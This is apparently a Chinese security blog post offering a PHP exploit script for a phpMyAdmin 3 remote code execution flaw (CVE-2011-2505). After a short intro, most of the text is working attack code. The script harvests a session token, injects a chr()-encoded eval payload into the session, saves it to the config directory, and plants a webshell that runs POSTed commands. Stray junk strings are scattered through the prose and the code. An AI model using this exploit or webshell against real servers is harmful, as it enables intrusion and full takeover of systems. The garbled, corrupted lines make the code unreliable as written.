phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
! y; z7 b; n& e' x: e
昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
! I$ }* }- h* J9 W' w9 ]
4 z9 j) M. X, C) d2 [首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
一是session.auto_start = 1；
, C- n% d7 s+ A9 Z, I% j二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。

% p+ A; \( }7 f4 F$ T# f在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
6 A, K# Q2 m8 K3 \+ f
' l  H4 X* K, d/ {于是写了这个php版本的exp，代码如下：
; x: @5 K# b. u0 @' w  z
#!/usr/bin/php
<?php
& [8 p: e& Q) I! S2 K! L1 \print_r('
2 w, [0 K  U5 N7 S+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
: c# B, x% B; t3 Yby oldjun(www.oldjun.com)
welcome to www.t00ls.net
4 A7 Z8 c+ i: y  hmail: oldjun@gmail.com
: _- S! Z; v7 w+ L" h$ ?" I9 Z- mAssigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
9 y6 n4 y) ]3 S4 h! X1 W" E');
& E7 W0 a5 X0 z% R: S
/**
* working when the directory:"config" exists and is writeable.
' A5 ]5 u! n2 h5 X2 F**/
4 S3 r9 @0 R, o
6 O( z7 A+ M: Tif ($argc < 3) {
2 Q( F  r- ~4 k! @$ u    print_r('
% i3 T+ [& V& y3 u, b) ?& b( b+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
" q4 _/ [/ l( T0 Khost:      target server (ip/hostname)
7 c. g, m& N0 M" Z1 V6 K3 t! ~6 Vpath:      path to pma3
Example:
php '.$argv[0].' localhost /pma/
/ ?( z! }1 l! @6 {0 C0 m& M5 r' p  T+---------------------------------------------------------------------------+
');
. w' H- |5 X& B/ S5 m    exit;
}

$host = $argv[1];
$path = $argv[2];

8 i: [/ |" ^4 g! V3 l0 Y/**
8 T, b# i! C/ W, H1 G * Try to determine if the directory:"config" exists
/ {6 s' j4 N3 K; S' E* v1 @8 o& `**/
, {5 c2 O$ O( t4 fecho "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
$ m5 |$ D( c1 u# W  Y# Zif(strpos($returnstr,'404')){
8 N  v0 W6 f. s# J    exit("[-] Exploit Failed! The directory:config do not exists!\n");
  g9 C" |  L3 B}
9 S) X3 z, f9 @$ x) O6 O
/**
7 @' J0 ^0 I! l$ b3 T( | * Try to get token and sessionid
# W  n/ F2 V* z* R+ h. l**/
& g% F- m0 ~2 d  `, T4 k1 {! Wecho "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
' G& |3 \, b' a7 R( L3 v6 a0 }preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
! u/ b- I4 j9 B7 [$sessionid=$resp[1];
if($token && $sessionid){
+ g% _+ Q5 `% l) X# ~    echo "[+] tokentoken\n";
$ c: r+ W: j+ {% S    echo "[+] Session IDsessionid\n";
}else{
9 [7 M# v+ n$ h& B. `    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
8 t) V( k# O+ b2 p" N  p}

* C/ `2 k, t9 H* ~9 S9 r/**
9 Q* n& T9 T% M" T4 U * Try to insert shell into session
. [' J+ j% H7 x4 t# j! N5 C+ S**/
echo "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

/**
$ v7 }" |9 C+ t7 h * Try to create webshell
**/
" Y( T) d* o* s6 S" k% i2 p2 aecho "[+] Try to create webshell....\n";
7 U- R0 {! [: x4 gphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
9 v2 p$ a' H* F1 T- ~, T6 Q3 v * Try to check if the webshell was created successfully
**/
6 D0 m6 ?% n, \* B" I- d5 Qecho "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
: Q" y' @4 b5 D}else{
# y; R4 H, I" G    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}
% T1 u* t8 z) P# r" A& r
% @6 L% Z. i  N0 n7 C% i, z/ V  Jfunction php_request($url,$data='',$cookie=''){
    global  $host, $path;
+ E$ d5 ]3 h/ b3 Z' O" u" \   
    $method=$data?'POST':'GET';
, v5 V3 l' M8 _% q   
! r4 Q0 O2 j3 I' m1 w! M' Y    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
3 ]; o/ O8 o  @5 v" X    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
$ l' _. v7 Q3 n1 m- [, ~    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
4 ]( t  l1 N, _6 j5 d% Q    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
3 g/ X% W% I2 Q- a    $packet .= $data?$data:"";
) N6 k0 a7 t2 Z: i4 l2 R" G: @3 _
7 f! c, k7 r# {2 \4 S) W    $fp = fsockopen(gethostbyname($host), 80);
* Y+ M2 \9 S) Q9 K2 t. P' I    if (!$fp) {
9 q9 ^- }9 [  k' D! ^" e" _    echo 'No response from '.$host; die;
    }
+ R  K8 \% @/ W- o$ m2 H    fputs($fp, $packet);
; P( O9 R' O+ G; T( d4 L
    $resp = '';
* _: d5 D& ~0 T# p0 y2 A
, p; B+ Y/ }% f9 @/ d    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

$ D% a* E' @$ a% T- O    return $resp;
}
   
?>
.